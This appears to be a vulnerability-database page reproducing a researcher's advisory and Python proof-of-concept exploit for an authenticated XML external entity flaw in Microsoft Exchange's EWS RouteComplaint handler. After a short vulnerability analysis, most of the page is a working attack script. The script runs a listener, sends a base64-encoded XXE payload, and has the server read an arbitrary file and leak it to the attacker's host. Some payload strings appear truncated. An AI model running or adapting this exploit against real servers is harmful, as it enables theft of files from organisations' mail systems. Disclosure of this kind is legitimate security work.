Lucene search

K

SRC-2020-0031 : Microsoft Exchange Server EWS RouteComplaint ParseComplaintData XML External Entity Processing Information Disclosure Vulnerability

🗓️ 23 Apr 2020 00:00:00Reported by Steven Seeley (mr_me) of Qihoo 360 Vulcan Team and Chris AnastasioType 
srcincite
 srcincite
🔗 srcincite.io👁 21 Views

Microsoft Exchange Server EWS RouteComplaint XML Entity Processing Vulnerability Disclosur

Show more
Related
Code
#!/usr/bin/env python3
"""
Microsoft Exchange Server EWS RouteComplaint ParseComplaintData XML External Entity Processing Information Disclosure Vulnerability
Advisory: https://srcincite.io/advisories/src-2020-0031/
Patched in: https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17141

## Summary

This vulnerability allows remote attackers to disclose information on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of a RouteComplaint SOAP request to the EWS service endpoint. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM.

## Vulnerability Analysis

Inside of the `Microsoft.Exchange.Services.dll` we can see the following class:

```c#
namespace Microsoft.Exchange.Services.Core
{
    internal sealed class RouteComplaint : SingleStepServiceCommand{

        //...

        internal override ServiceResultExecute()
        {
            if (base.CallContext.EffectiveCaller == null)
            {
                throw new ArgumentNullException("this.CallContext.EffectiveCaller", "EffectiveCaller must not be null.");
            }
            this.abuseReportResults = null;
            IAbuseReportContext abuseReportContext = this.ParseComplaintData();  // 1
            IMailboxSession imailboxSessionBySmtpAddress = base.CallContext.SessionCache.GetIMailboxSessionBySmtpAddress(base.CallContext.EffectiveCaller.PrimarySmtpAddress, false);
            IWasclContext wasclContext = new WasclContext(ProtocolClientType.XMRAR, null, null, string.Empty, "");
            imailboxSessionBySmtpAddress.WasclContext = wasclContext;
            this.abuseReportResults = WasclWrapper.ProcessAbuseReport(abuseReportContext, imailboxSessionBySmtpAddress);
            return new ServiceResult(new RouteComplaintResponseMessage(ServiceResultCode.Success, null, this.EncodeComplaintDataForResponse()), ServiceResultCode.Success);
        }

        // ...

        private IAbuseReportContext ParseComplaintData()
        {
            if (base.Request.Data == null)
            {
                ExTraceGlobals.GetEventsCallTracer.TraceDebug((long)this.GetHashCode(), "RouteComplaint.Execute - RouteComplaintRequest data is null");
                throw new ArgumentNullException("this.complaintData", "ComplaintData must not be null in order to process the abuse report.");
            }
            XmlDocument xmlDocument = new XmlDocument();
            xmlDocument.LoadXml(Encoding.UTF8.GetString(base.Request.Data));  // 2
            XmlNode data = xmlDocument.SelectSingleNode("complaintData");
```

At *[1]* we can see the `RouteComplaint.ParseComplaintData` method is called from the `Execute` method and at *[2]* the code uses attacker supplied data in a `LoadXml` to trigger entity processing.

## Proof of Concept

Change anything within the [] brackets.

```
POST /ews/Exchange.asmx HTTP/1.1
Host: [target]
Content-type: text/xml; charset=utf-8
Authentication: [ntlm auth]
Content-Length: [length][base64 encoded XXE payload]```

## Example

```
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"

researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
(+) triggered xxe in exchange!
(+) stolen: /leaked?
```
"""

import re
import sys
import urllib3
import requests
import urllib.parse
from threading import Thread
from base64 import b64encode
from requests_ntlm2 import HttpNtlmAuth
from http.server import BaseHTTPRequestHandler, HTTPServer
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class xxe(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def _set_response(self, d):
        self.send_response(200)
        self.send_header('Content-type', 'application/xml')
        self.send_header('Content-Length', len(d))
        self.end_headers()
    def do_GET(self):
        if "leaked" in self.path:
            print("(+) stolen: %s" % urllib.parse.unquote(self.path))
            message = " ]]>"
            self._set_response(message)
            self.wfile.write(message.encode('utf-8'))
            self.wfile.write('\n'.encode('utf-8'))
        elif "poc.dtd" in self.path:
            print("(+) triggered xxe in exchange!")
            message = """

'>
%%param1; %%external;""" % (host, int(port))
            self._set_response(message)
            self.wfile.write(message.encode('utf-8'))
            self.wfile.write('\n'.encode('utf-8'))

def main(t, usr, pwd):
    server = HTTPServer(('0.0.0.0', int(port)), xxe)
    handlerthr = Thread(target=server.serve_forever, args=())
    handlerthr.daemon = True
    handlerthr.start()
    username = usr.split("@")[0]
    domain = usr.split("@")[1]
    h = {"Content-type" : "text/xml; charset=utf-8"}
    xxe_payload = """">

%%dtd;
]>""" % (file, host, int(port))
    d = """%s""" % b64encode(xxe_payload.encode()).decode("utf-8") 
    requests.post("https://%s/ews/Exchange.asmx" % t, data=d, headers=h, verify=False, auth=HttpNtlmAuth('%s\\%s' % (domain,username), pwd))
    
if __name__ == '__main__':
    if len(sys.argv) != 5:
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 \"C:/Users/harryh/secrets.txt\"" % sys.argv[0])
        sys.exit(-1)
    trgt = sys.argv[1]
    assert ":" in sys.argv[2], "(-) you need a user and password!"
    usr = sys.argv[2].split(":")[0]
    pwd = sys.argv[2].split(":")[1]
    host = sys.argv[3]
    port = 9090
    file = sys.argv[4]
    if ":" in sys.argv[3]: 
        host = sys.argv[3].split(":")[0]
        port = sys.argv[3].split(":")[1]
        assert port.isdigit(), "(-) not a port number!"
    main(trgt, usr, pwd)

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo